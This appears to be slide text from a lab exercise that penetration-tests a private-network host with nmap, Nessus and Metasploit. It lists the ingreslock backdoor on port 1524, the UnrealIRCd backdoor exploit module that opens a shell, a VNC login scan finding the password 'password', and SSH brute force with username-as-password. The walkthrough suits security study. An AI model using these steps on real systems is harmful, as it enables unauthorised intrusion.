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Nmap & Nesus Analysis

u Step 1: nmap ifconfig

u IP address: 192.168.69.142

u Step 2: nmap 192.168.69.142

u 977 closed ports, 23 open ports

u Step 3: Nessus scan

u 105 vulnerabilities

u 6 critical

u 4 high

u Step 4: telnet 192.168.69.142 1524

u Port 1524: ingreslock backdoor



Metasloit Analysis

u Step 5: import Nessus report into 
Metasploit

u Step 6: use 
exploit/unix/irc/unreal_ircd_3281_ 
backdoor 

u Set RHOST 192.168.69.142

u One shell session open: able to access

u Port 6667: Unreal ircd

u Step 7: use 
auxiliary/scanner/vnc/vnc_login

u Password: password

u Port 5900: VNC



Metasloit Analysis (Cont’d)

u Step 8: Brute force attack on SSH

u Create a password list file: 
username

u Use 
auxiliary/scanner/ssh/ssh_login

u Set USERNAME root

u Set PASS_FILE Desktop/username

u Failed

u Step 9: Brute force attack on SSH

u Unset USERNAME

u Set USER_FILE Desktop/username

u Set USER_AS_PASS True

u Succeeded: user=user


